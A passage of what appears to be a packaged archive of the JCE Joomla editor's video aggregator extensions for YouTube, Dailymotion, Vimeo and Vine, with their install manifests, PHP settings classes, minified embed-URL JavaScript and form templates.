	<copyright>Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_AGGREGATOR_YOUTUBE_DESC</description>
	<files>
		<filename>youtube.php</filename>
		<folder>youtube</folder>
	</files>
	<params group="youtube">
		<param name="enable" type="list" default="1" label="WF_LABEL_EXTENSION_ENABLE" description="WF_LABEL_EXTENSION_ENABLE_DESC">
        	<option value="1">WF_OPTION_YES</option>
        	<option value="0">WF_OPTION_NO</option>
    	</param>
		<param name="width" type="text" default="560" label="WF_LABEL_WIDTH" description="WF_AGGREGATOR_YOUTUBE_WIDTH_DESC" />
		<param name="height" type="text" default="315" label="WF_LABEL_HEIGHT" description="WF_AGGREGATOR_YOUTUBE_HEIGHT_DESC" />

		<param name="controls" type="list" default="1" label="WF_AGGREGATOR_YOUTUBE_CONTROLS" description="WF_AGGREGATOR_YOUTUBE_CONTROLS_DESC">
        	<option value="1">WF_OPTION_YES</option>
        	<option value="0">WF_OPTION_NO</option>
    	</param>

		<param name="related" type="list" default="1" label="WF_AGGREGATOR_YOUTUBE_RELATED" description="WF_AGGREGATOR_YOUTUBE_RELATED_DESC">
        	<option value="1">WF_OPTION_YES</option>
        	<option value="0">WF_OPTION_NO</option>
    	</param>

		<param name="loop" type="list" default="1" label="WF_AGGREGATOR_YOUTUBE_LOOP" description="WF_AGGREGATOR_YOUTUBE_LOOP_DESC">
        	<option value="1">WF_OPTION_YES</option>
        	<option value="0">WF_OPTION_NO</option>
    	</param>

		<param name="autoplay" type="list" default="0" label="WF_AGGREGATOR_YOUTUBE_AUTOPLAY" description="WF_AGGREGATOR_YOUTUBE_AUTOPLAY_DESC">
        	<option value="1">WF_OPTION_YES</option>
        	<option value="0">WF_OPTION_NO</option>
    	</param>

		<param name="privacy" type="list" default="0" label="WF_AGGREGATOR_YOUTUBE_PRIVACY" description="WF_AGGREGATOR_YOUTUBE_PRIVACY_DESC">
        	<option value="1">WF_OPTION_YES</option>
        	<option value="0">WF_OPTION_NO</option>
    	</param>

		<param name="modestbranding" type="list" default="0" label="WF_AGGREGATOR_YOUTUBE_MODESTBRANDING" description="WF_AGGREGATOR_YOUTUBE_MODESTBRANDING_DESC">
        	<option value="1">WF_OPTION_YES</option>
        	<option value="0">WF_OPTION_NO</option>
    	</param>
	</params>
	<plugins></plugins>
</install>
editor/extensions/aggregator/youtube.php000060400000003556150750527150014574 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

class WFAggregatorExtension_Youtube extends WFAggregatorExtension
{
    /**
     * Constructor activating the default information of the class.
     */
    public function __construct()
    {
        parent::__construct(array(
            'format' => 'video',
        ));
    }

    public function display()
    {
        $document = WFDocument::getInstance();
        $document->addScript('youtube', 'extensions/aggregator/youtube/js');
    }

    public function isEnabled()
    {
        $plugin = WFEditorPlugin::getInstance();

        return $plugin->checkAccess('aggregator.youtube.enable', 1);
    }

    public function getParams()
    {
        $plugin = WFEditorPlugin::getInstance();

        return array(
            'width'     => $plugin->getParam('aggregator.youtube.width', 560),
            'height'    => $plugin->getParam('aggregator.youtube.height', 315),

            'controls'  => (int) $plugin->getParam('aggregator.youtube.controls', 1),
            'loop'      => (int) $plugin->getParam('aggregator.youtube.loop', 0),
            'autoplay'  => (int) $plugin->getParam('aggregator.youtube.autoplay', 0),
            'rel'       => (int) $plugin->getParam('aggregator.youtube.related', 1),
            'modestbranding'  => (int) $plugin->getParam('aggregator.youtube.modestbranding', 0),
            'privacy'   => (int) $plugin->getParam('aggregator.youtube.privacy', 0)
        );
    }
}
editor/extensions/aggregator/dailymotion/js/dailymotion.js000060400000004366150750527150020221 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
WFAggregator.add("dailymotion",{params:{width:480,height:270,autoPlay:!1},props:{autoPlay:0,start:0},setup:function(){$("#dailymotion_autoPlay").prop("checked",this.params.autoPlay),$("#dailymotion_player_size").change(function(){var v=parseInt(this.value);$("#dailymotion_player_size_custom").toggleClass("uk-hidden",!!this.value),v&&($("#width").val(v),$("#height").val(Math.round(9*v/16)))}),$("#dailymotion_player_size_custom").change(function(){var v=parseInt(this.value);v&&($("#width").val(v),$("#height").val(Math.round(16*v/9)))})},getTitle:function(){return this.title||this.name},getType:function(){return"iframe"},isSupported:function(v){return"object"==typeof v&&(v=v.src||v.data||""),!!/dai\.?ly(motion)?(\.com)?/.test(v)&&"dailymotion"},getValues:function(src){var self=this,data={},args={},id=(this.getType(),"");src.indexOf("=")!==-1&&$.extend(args,Wf.String.query(src)),$("input, select","#dailymotion_options").each(function(){var k=$(this).attr("id"),v=$(this).val();k=k.substr(k.indexOf("_")+1),$(this).is(":checkbox")&&(v=$(this).is(":checked")?1:0),k.indexOf("player_size")===-1&&self.props[k]!==v&&""!==v&&(args[k]=v)});var m=src.match(/dai\.?ly(motion\.com)?\/(embed)?\/?(swf|video)?\/?([a-z0-9]+)_?/);m&&(id=m.pop()),src="//www.dailymotion.com/embed/video/"+id;var query=$.param(args);return query&&(src=src+(/\?/.test(src)?"&":"?")+query),data.src=src,$.extend(data,{frameborder:0,allowfullscreen:"allowfullscreen"}),data},setValues:function(data){var src=data.src||data.data||"",id="";if(!src)return data;var query=Wf.String.query(src);$.extend(data,query),src=src.replace(/&amp;/g,"&");var m=src.match(/dai\.?ly(motion\.com)?\/(embed)?\/?(swf|video)?\/?([a-z0-9]+)_?/);return m&&(id=m.pop()),data.src="//www.dailymotion.com/embed/video/"+id,data},getAttributes:function(src){var args={},data=this.setValues({src:src})||{};return $.each(data,function(k,v){"src"!=k&&(args["dailymotion_"+k]=v)}),$.extend(args,{src:data.src||src,width:this.params.width,height:this.params.height}),args},setAttributes:function(){},onSelectFile:function(){},onInsert:function(){}});editor/extensions/aggregator/dailymotion/js/index.html000060400000000054150750527150017316 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/aggregator/dailymotion/css/index.html000060400000000054150750527150017472 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/aggregator/dailymotion/css/dailymotion.css000060400000000144150750527150020537 0ustar00#dailymotion_player_size{width:150px!important}#dailymotion_player_size_custom{width:65px!important}editor/extensions/aggregator/dailymotion/index.html000060400000000054150750527150016702 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/aggregator/dailymotion/tmpl/index.html000060400000000054150750527150017656 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/aggregator/dailymotion/tmpl/default.php000060400000004204150750527150020017 0ustar00<?php
/**
 * @copyright    Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license    GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_WF_EXT') or die('RESTRICTED');
?>
<div class="uk-form-row">
    <label for="dailymotion_autoPlay" title="<?php echo WFText::_('WF_AGGREGATOR_DAILYMOTION_AUTOPLAY_DESC') ?>"
           class="tooltip uk-form-label uk-width-1-5"><?php echo WFText::_('WF_AGGREGATOR_DAILYMOTION_AUTOPLAY') ?></label>
    <div class="uk-width-4-5">
        <div class="uk-form-controls uk-width-1-5">
            <input type="checkbox" id="dailymotion_autoPlay" />
        </div>

        <label for="dailymotion_start" title="<?php echo WFText::_('WF_AGGREGATOR_DAILYMOTION_START_DESC') ?>"
               class="tooltip uk-form-label uk-width-1-5"><?php echo WFText::_('WF_AGGREGATOR_DAILYMOTION_START') ?></label>
        <div class="uk-form-controls uk-width-1-5">
            <input id="dailymotion_start" type="number" value="" />
        </div>
    </div>
</div>
<div class="uk-form-row">
    <label class="uk-form-label uk-width-1-5"
           title="<?php echo WFText::_('WF_AGGREGATOR_DAILYMOTION_SIZE'); ?>"><?php echo WFText::_('WF_AGGREGATOR_DAILYMOTION_SIZE'); ?></label>

    <div class="uk-form-controls uk-width-4-5">
        <select id="dailymotion_player_size">
            <option value="320"><?php echo WFText::_('WF_AGGREGATOR_DAILYMOTION_SIZE_SMALL'); ?></option>
            <option value="480"><?php echo WFText::_('WF_AGGREGATOR_DAILYMOTION_SIZE_MEDIUM'); ?></option>
            <option value="560"><?php echo WFText::_('WF_AGGREGATOR_DAILYMOTION_SIZE_LARGE'); ?></option>
            <option value=""><?php echo WFText::_('WF_AGGREGATOR_DAILYMOTION_SIZE_CUSTOM'); ?></option>
        </select>

        <input type="number" id="dailymotion_player_size_custom" class="uk-hidden uk-margin-small-left" />
    </div>
</div>
editor/extensions/aggregator/vimeo.php000060400000003750150750527150014213 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

class WFAggregatorExtension_Vimeo extends WFAggregatorExtension
{
    /**
     * Constructor activating the default information of the class.
     */
    public function __construct()
    {
        parent::__construct(array(
            'format' => 'video',
        ));
    }

    public function display()
    {
        $document = WFDocument::getInstance();
        $document->addScript('vimeo', 'extensions/aggregator/vimeo/js');
    }

    public function isEnabled()
    {
        $plugin = WFEditorPlugin::getInstance();

        return $plugin->checkAccess('aggregator.vimeo.enable', 1);
    }

    public function getParams()
    {
        $plugin = WFEditorPlugin::getInstance();

        return array(
            'width' => $plugin->getParam('aggregator.vimeo.width', 400),
            'height' => $plugin->getParam('aggregator.vimeo.height', 225),

            'color'     => (string) $plugin->getParam('aggregator.vimeo.color', ''),
            'loop'      => (int) $plugin->getParam('aggregator.vimeo.loop', 0),
            'autoplay'  => (int) $plugin->getParam('aggregator.vimeo.autoplay', 0),
            'intro'     => (int) $plugin->getParam('aggregator.vimeo.intro', 0),
            'title'     => (int) $plugin->getParam('aggregator.vimeo.title', 0),
            'byline'    => (int) $plugin->getParam('aggregator.vimeo.byline', 0),
            'portrait'  => (int) $plugin->getParam('aggregator.vimeo.portrait', 0),
            'fullscreen'=> (int) $plugin->getParam('aggregator.vimeo.fullscreen', 1)
        );
    }
}
editor/extensions/aggregator/vimeo.xml000060400000006044150750527150014223 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="extension" extension="vimeo" folder="aggregator" method="upgrade" core="1">
	<name>WF_AGGREGATOR_VIMEO_TITLE</name>
	<version>2.6.38</version>
	<creationDate>14-03-2019</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_AGGREGATOR_VIMEO_DESC</description>
	<files>
		<filename>vimeo.php</filename>
		<folder>vimeo</folder>
	</files>
	<params group="vimeo">
		<param name="enable" type="list" default="1" label="WF_LABEL_EXTENSION_ENABLE" description="WF_LABEL_EXTENSION_ENABLE_DESC">
        	<option value="1">WF_OPTION_YES</option>
        	<option value="0">WF_OPTION_NO</option>
    	</param>
		<param name="width" type="text" default="400" label="WF_LABEL_WIDTH" description="WF_AGGREGATOR_VIMEO_WIDTH_DESC" />
		<param name="height" type="text" default="225" label="WF_LABEL_HEIGHT" description="WF_AGGREGATOR_VIMEO_HEIGHT_DESC" />

		<param name="color" type="text" class="color" size="10" default="" label="WF_AGGREGATOR_VIMEO_COLOR" description="WF_AGGREGATOR_VIMEO_COLOR_DESC" />

		<param name="intro" type="list" default="0" label="WF_AGGREGATOR_VIMEO_INTRO" description="WF_AGGREGATOR_VIMEO_INTRO_DESC">
        	<option value="1">WF_OPTION_YES</option>
        	<option value="0">WF_OPTION_NO</option>
    	</param>

		<param name="portrait" type="list" default="0" label="WF_AGGREGATOR_VIMEO_PORTRAIT" description="WF_AGGREGATOR_VIMEO_PORTRAIT_DESC">
        	<option value="1">WF_OPTION_YES</option>
        	<option value="0">WF_OPTION_NO</option>
    	</param>

		<param name="title" type="list" default="0" label="WF_AGGREGATOR_VIMEO_INTROTITLE" description="WF_AGGREGATOR_VIMEO_INTROTITLE_DESC">
        	<option value="1">WF_OPTION_YES</option>
        	<option value="0">WF_OPTION_NO</option>
    	</param>

		<param name="byline" type="list" default="0" label="WF_AGGREGATOR_VIMEO_BYLINE" description="WF_AGGREGATOR_VIMEO_BYLINE_DESC">
        	<option value="1">WF_OPTION_YES</option>
        	<option value="0">WF_OPTION_NO</option>
    	</param>

		<param name="autoplay" type="list" default="0" label="WF_AGGREGATOR_VIMEO_AUTOPLAY" description="WF_AGGREGATOR_VIMEO_AUTOPLAY_DESC">
        	<option value="1">WF_OPTION_YES</option>
        	<option value="0">WF_OPTION_NO</option>
    	</param>

		<param name="loop" type="list" default="0" label="WF_AGGREGATOR_VIMEO_LOOP" description="WF_AGGREGATOR_VIMEO_LOOP_DESC">
        	<option value="1">WF_OPTION_YES</option>
        	<option value="0">WF_OPTION_NO</option>
    	</param>

		<param name="fullscreen" type="list" default="1" label="WF_AGGREGATOR_VIMEO_FULLSCREEN" description="WF_AGGREGATOR_VIMEO_FULLSCREEN_DESC">
        	<option value="1">WF_OPTION_YES</option>
        	<option value="0">WF_OPTION_NO</option>
    	</param>
	</params>
	<plugins></plugins>
</install>editor/extensions/aggregator/index.html000060400000000054150750527150014352 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/aggregator/vimeo/js/vimeo.js000060400000005631150750527150015573 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
WFAggregator.add("vimeo",{params:{width:480,height:480,embed:!0},props:{color:"",autoplay:0,loop:0,portrait:0,title:0,byline:0,fullscreen:1},setup:function(){$("#vimeo_embed").toggle(this.params.embed);$.each(this.params,function(k,v){$("#vimeo_"+k).val(v).filter(":checkbox, :radio").prop("checked",!!v)})},getTitle:function(){return this.title||this.name},getType:function(){return $("#vimeo_embed").is(":checked")?"flash":"iframe"},isSupported:function(v){return"object"==typeof v&&(v=v.src||v.data||""),!!/vimeo(.+)?\/(.+)/.test(v)&&(!/\/external\//.test(v)&&"vimeo")},getValues:function(src){var self=this,data={},args={},type=this.getType(),id="";if(src.indexOf("=")!==-1&&$.extend(args,Wf.String.query(src)),$("input, select","#vimeo_options").not("#vimeo_embed").each(function(){var k=$(this).attr("id"),v=$(this).val();if(k=k.substr(k.indexOf("_")+1),$(this).is(":checkbox")&&(v=$(this).is(":checked")?1:0),self.props[k]!==v&&""!==v){switch(k){case"color":"#"==v.charAt(0)&&(v=v.substr(1));break;case"portrait":case"title":case"byline":"flash"==type&&(k="show_"+k)}args[k]=v}}),args.clip_id)id=args.clip_id;else{var s=/vimeo\.com\/(\w+\/)?(\w+\/)?([0-9]+)/.exec(src);s&&"array"===$.type(s)&&(id=s.pop())}src="flash"==type?"https://vimeo.com/moogaloop.swf?clip_id="+id:"https://player.vimeo.com/video/"+id;var query=$.param(args);return query&&(src=src+(/\?/.test(src)?"&":"?")+query),data.src=src,"iframe"==type?($.extend(data,{frameborder:0}),0!==args.fullscreen&&$.extend(data,{allowfullscreen:!0})):$.extend(!0,data,{param:{allowfullscreen:!0,wmode:"opaque"}}),data},setValues:function(data){var self=this,src=data.src||data.data||"",id="";if(!src)return data;var query=Wf.String.query(src);if($.extend(data,query),src=src.replace(/&amp;/g,"&"),/moogaloop.swf/.test(src))data.embed=!0,id=query.clip_id,delete query.clip_id,delete data.clip_id,$.each(["portrait","title","byline"],function(i,s){delete data["show_"+s]});else{var s=/vimeo\.com\/(\w+\/)?(\w+\/)?([0-9]+)/.exec(src);s&&"array"===$.type(s)&&(id=s.pop())}return $.each(["portrait","title","byline","autoplay","loop"],function(i,s){var v=query[s]||0;data[s]=v}),$.each(query,function(k,v){"undefined"==typeof self.props[k]&&$("#vimeo_options table").append('<tr><td><label for="vimeo_'+k+'">'+k+'</label><input type="text" id="vimeo_'+k+'" value="'+v+'" /></td></tr>')}),src="https://vimeo.com/"+id,data.color&&"#"!=data.color.charAt(0)&&(data.color="#"+data.color),data.src=src,data},getAttributes:function(src){var args={},data=this.setValues({src:src})||{};return $.each(data,function(k,v){"src"!=k&&(args["vimeo_"+k]=v)}),$.extend(args,{src:data.src||src,width:this.params.width,height:this.params.height}),args},setAttributes:function(){},onSelectFile:function(){},onInsert:function(){}});editor/extensions/aggregator/vimeo/js/index.html000060400000000054150750527150016105 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/aggregator/vimeo/index.html000060400000000054150750527150015471 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/aggregator/vimeo/tmpl/index.html000060400000000054150750527150016445 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/aggregator/vimeo/tmpl/default.php000060400000005600150750527150016607 0ustar00<?php

/**
 * @copyright    Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license    GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_WF_EXT') or die('RESTRICTED');
?>
<div class="uk-form-row">
    <label for="vimeo_color" title="<?php echo WFText::_('WF_AGGREGATOR_VIMEO_COLOR_DESC') ?>"
           class="tooltip uk-form-label uk-width-1-5"><?php echo WFText::_('WF_AGGREGATOR_VIMEO_COLOR') ?></label>

    <div class="uk-form-controls uk-width-1-5">
        <input type="text" id="vimeo_color" class="color"/>
    </div>
</div>

<div class="uk-form-row">

    <label for="vimeo_intro" title="<?php echo WFText::_('WF_AGGREGATOR_VIMEO_INTRO_DESC') ?>"
           class="tooltip uk-form-label uk-width-1-5"><?php echo WFText::_('WF_AGGREGATOR_VIMEO_INTRO') ?></label>
    <div class="uk-form-controls uk-width-4-5">
        <input type="checkbox" id="vimeo_portrait" />
        <label for="vimeo_portrait" title="<?php echo WFText::_('WF_AGGREGATOR_VIMEO_PORTRAIT_DESC') ?>"
               class="tooltip uk-margin-right"><?php echo WFText::_('WF_AGGREGATOR_VIMEO_PORTRAIT') ?></label>

        <input type="checkbox" id="vimeo_title" />
        <label for="vimeo_title" title="<?php echo WFText::_('WF_AGGREGATOR_VIMEO_INTROTITLE_DESC') ?>"
               class="tooltip uk-margin-right"><?php echo WFText::_('WF_AGGREGATOR_VIMEO_INTROTITLE') ?></label>

        <input type="checkbox" id="vimeo_byline" />
        <label for="vimeo_byline" title="<?php echo WFText::_('WF_AGGREGATOR_VIMEO_BYLINE_DESC') ?>"
               class="tooltip"><?php echo WFText::_('WF_AGGREGATOR_VIMEO_BYLINE') ?></label>
    </div>
</div>

<div class="uk-form-row">
    <label for="vimeo_special"
           class="uk-form-label uk-width-1-5"><?php echo WFText::_('WF_AGGREGATOR_VIMEO_SPECIAL') ?></label>
    <div class="uk-form-controls uk-width-4-5">

    <input type="checkbox" id="vimeo_autoplay"/>
    <label for="vimeo_autoplay" title="<?php echo WFText::_('WF_AGGREGATOR_VIMEO_AUTOPLAY_DESC') ?>"
           class="tooltip uk-margin-right"><?php echo WFText::_('WF_AGGREGATOR_VIMEO_AUTOPLAY') ?></label>

    <input type="checkbox" id="vimeo_loop"/>
    <label for="vimeo_loop" title="<?php echo WFText::_('WF_AGGREGATOR_VIMEO_LOOP_DESC') ?>"
           class="tooltip uk-margin-right"><?php echo WFText::_('WF_AGGREGATOR_VIMEO_LOOP') ?></label>

    <input type="checkbox" id="vimeo_fullscreen" checked="checked"/>
    <label for="vimeo_fullscreen" title="<?php echo WFText::_('WF_AGGREGATOR_VIMEO_FULLSCREEN_DESC') ?>"
           class="tooltip"><?php echo WFText::_('WF_AGGREGATOR_VIMEO_FULLSCREEN') ?></label>
        </div>
</div>editor/extensions/aggregator/vine/js/vine.js000060400000003331150750527150015232 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
WFAggregator.add("vine",{params:{type:"simple",size:600},setup:function(){$("#vine_size").change(function(){$("#width, #height").val(this.value).change()})},getTitle:function(){return this.title||this.name},getType:function(){return"iframe"},isSupported:function(v){return"object"==typeof v&&(v=v.src||v.data||""),!!/vine\.co\/(.+)/.test(v)&&"vine"},getValues:function(src){var data={},args={},id=(this.getType(),"");$.extend(args,Wf.String.query(src)),$("input, select","#vine_options").each(function(){var k=$(this).attr("id"),v=$(this).val();k=k.substr(k.indexOf("_")+1),$(this).is(":checkbox")&&(v=$(this).is(":checked")?1:0),args[k]=v});var s=/vine\.co\/v\/([a-z0-9A-Z]+)\/?/.exec(src);return s&&s.length>1&&(id=s[1]),src="//vine.co/v/"+id+"/embed/"+(args.type||this.params.type||""),data.src=src,$.extend(data,{frameborder:0,class:"vine-embed",width:args.size||this.params.size,height:args.size||this.params.size}),data},setValues:function(data){var src=data.src||data.data||"",id="";if(!src)return data;var s=/vine\.co\/v\/([a-z0-9A-Z]+)\/?(embed)?\/?(simple|postcard)?/.exec(src);return s&&s.length>1&&(id=s[1],data.type=4==s.length?s[3]:""),data.src="//vine.co/v/"+id+"/embed/",data.size=data.width||data.height||this.params.size,data},getAttributes:function(src){var args={},data=this.setValues({src:src})||{};return $.each(data,function(k,v){"src"!=k&&(args["vine_"+k]=v)}),$.extend(args,{src:data.src||src,width:this.params.size,height:this.params.size}),args},setAttributes:function(){},onSelectFile:function(){},onInsert:function(){}});editor/extensions/aggregator/vine/js/index.html000060400000000054150750527150015727 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/aggregator/vine/tmpl/default.php000060400000003456150750527150016440 0ustar00<?php
/**
 * @copyright    Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license    GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_WF_EXT') or die('RESTRICTED');
?>
<div class="uk-form-row">
    <label title="<?php echo WFText::_('WF_AGGREGATOR_VINE_TYPE_DESC') ?>"
           class="tooltip uk-form-label uk-width-1-5"><?php echo WFText::_('WF_AGGREGATOR_VINE_TYPE') ?></label>
    <div class="uk-form-controls uk-width-2-5">
        <select id="vine_type">
            <option value="simple"><?php echo WFText::_('WF_AGGREGATOR_VINE_SIMPLE') ?></option>
            <option value="postcard"><?php echo WFText::_('WF_AGGREGATOR_VINE_POSTCARD') ?></option>
        </select>
    </div>
</div>

<div class="uk-form-row">
    <label title="<?php echo WFText::_('WF_AGGREGATOR_VINE_SIZE_DESC') ?>"
           class="tooltip uk-form-label uk-width-1-5"><?php echo WFText::_('WF_AGGREGATOR_VINE_SIZE') ?></label>
    <div class="uk-form-controls uk-width-2-5">
        <select id="vine_size">
            <option value="600">600px</option>
            <option value="480">480px</option>
            <option value="300">300px</option>
        </select>
    </div>
</div>

<div class="uk-form-row">
    <label for="vine_audio" class="uk-form-label uk-width-1-5"
           title="<?php echo JText::_('WF_AGGREGATOR_VINE_AUDIO_DESC'); ?>"><?php echo WFText::_('WF_AGGREGATOR_VINE_AUDIO'); ?></label>
    <div class="uk-form-controls uk-width-4-5">
        <input type="checkbox" id="vine_audio" value="0" />
    </div>
</div>editor/extensions/aggregator/vine/tmpl/index.html000060400000000054150750527150016267 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/aggregator/vine/index.html000060400000000054150750527150015313 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/aggregator/dailymotion.php000060400000002717150750527150015426 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

class WFAggregatorExtension_Dailymotion extends WFAggregatorExtension
{
    /**
     * Constructor activating the default information of the class.
     */
    public function __construct()
    {
        parent::__construct(array(
            'format' => 'video',
        ));
    }

    public function display()
    {
        $document = WFDocument::getInstance();
        $document->addScript('dailymotion', 'extensions/aggregator/dailymotion/js');
        $document->addStyleSheet('dailymotion', 'extensions/aggregator/dailymotion/css');
    }

    public function isEnabled()
    {
        $plugin = WFEditorPlugin::getInstance();

        return $plugin->checkAccess('aggregator.dailymotion.enable', 1);
    }

    public function getParams()
    {
        $plugin = WFEditorPlugin::getInstance();

        return array(
            'width' => $plugin->getParam('aggregator.dailymotion.width', 480),
            'height' => $plugin->getParam('aggregator.dailymotion.height', 270),
        );
    }
}
editor/extensions/aggregator/dailymotion.xml000060400000002375150750527150015437 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="extension" extension="dailymotion" folder="aggregator" method="upgrade" core="1">
	<name>WF_AGGREGATOR_DAILYMOTION_TITLE</name>
	<version>2.6.38</version>
	<creationDate>14-03-2019</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_AGGREGATOR_DAILYMOTION_DESC</description>
	<files>
		<filename>dailymotion</filename>
		<folder>dailymotion</folder>
	</files>
	<params group="dailymotion">
		<param name="enable" type="list" default="1" label="WF_LABEL_EXTENSION_ENABLE" description="WF_LABEL_EXTENSION_ENABLE_DESC">
        	<option value="1">WF_OPTION_YES</option>
        	<option value="0">WF_OPTION_NO</option>
    	</param>
		<param name="width" type="text" default="400" label="WF_LABEL_WIDTH" description="WF_AGGREGATOR_DAILYMOTION_WIDTH_DESC" />
		<param name="height" type="text" default="225" label="WF_LABEL_HEIGHT" description="WF_AGGREGATOR_DAILYMOTION_HEIGHT_DESC" />
	</params>
	<plugins></plugins>
</install>editor/extensions/aggregator/youtube/index.html000060400000000054150750527150016046 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/aggregator/youtube/tmpl/index.html000060400000000054150750527150017022 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/aggregator/youtube/tmpl/default.php000060400000011520150750527150017162 0ustar00<?php
/**
* @copyright    Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
* @license    GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
* JCE is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses
*/
defined('_WF_EXT') or die('RESTRICTED');
?>
<div class="uk-form-row">
  <div class="uk-width-4-10">
    <input type="checkbox" id="youtube_controls" checked />
    <label for="youtube_controls" title="<?php echo WFText::_('WF_AGGREGATOR_YOUTUBE_CONTROLS_DESC') ?>" class="tooltip">
      <?php echo WFText::_('WF_AGGREGATOR_YOUTUBE_CONTROLS') ?>
    </label>
  </div>
  <div class="uk-width-6-10">
    <input type="checkbox" id="youtube_loop" />
    <label for="youtube_loop" title="<?php echo WFText::_('WF_AGGREGATOR_YOUTUBE_LOOP_DESC') ?>" class="tooltip">
      <?php echo WFText::_('WF_AGGREGATOR_YOUTUBE_LOOP') ?>
    </label>

  </div>
</div>
<div class="uk-form-row">
  <div class="uk-width-4-10">
    <input type="checkbox" id="youtube_autoplay" />
    <label for="youtube_autoplay" title="<?php echo WFText::_('WF_AGGREGATOR_YOUTUBE_AUTOPLAY_DESC') ?>" class="tooltip">
      <?php echo WFText::_('WF_AGGREGATOR_YOUTUBE_AUTOPLAY') ?>
    </label>
  </div>
  <div class="uk-width-6-10">
    <input type="checkbox" id="youtube_privacy" />
    <label for="youtube_privacy" title="<?php echo WFText::_('WF_AGGREGATOR_YOUTUBE_PRIVACY_DESC') ?>" class="tooltip">
      <?php echo WFText::_('WF_AGGREGATOR_YOUTUBE_PRIVACY') ?>
    </label>
  </div>
</div>
<div class="uk-form-row">
  <div class="uk-width-4-10">
    <input type="checkbox" id="youtube_modestbranding" />
    <label for="youtube_modestbranding" title="<?php echo WFText::_('WF_AGGREGATOR_YOUTUBE_MODESTBRANDING_DESC') ?>"
      class="tooltip">
      <?php echo WFText::_('WF_AGGREGATOR_YOUTUBE_MODESTBRANDING') ?>
    </label>
  </div>

  <div class="uk-width-6-10">
    <label for="youtube_rel" class="uk-form-label uk-width-1-5 tooltip" title="<?php echo WFText::_('WF_AGGREGATOR_YOUTUBE_RELATED_DESC') ?>">
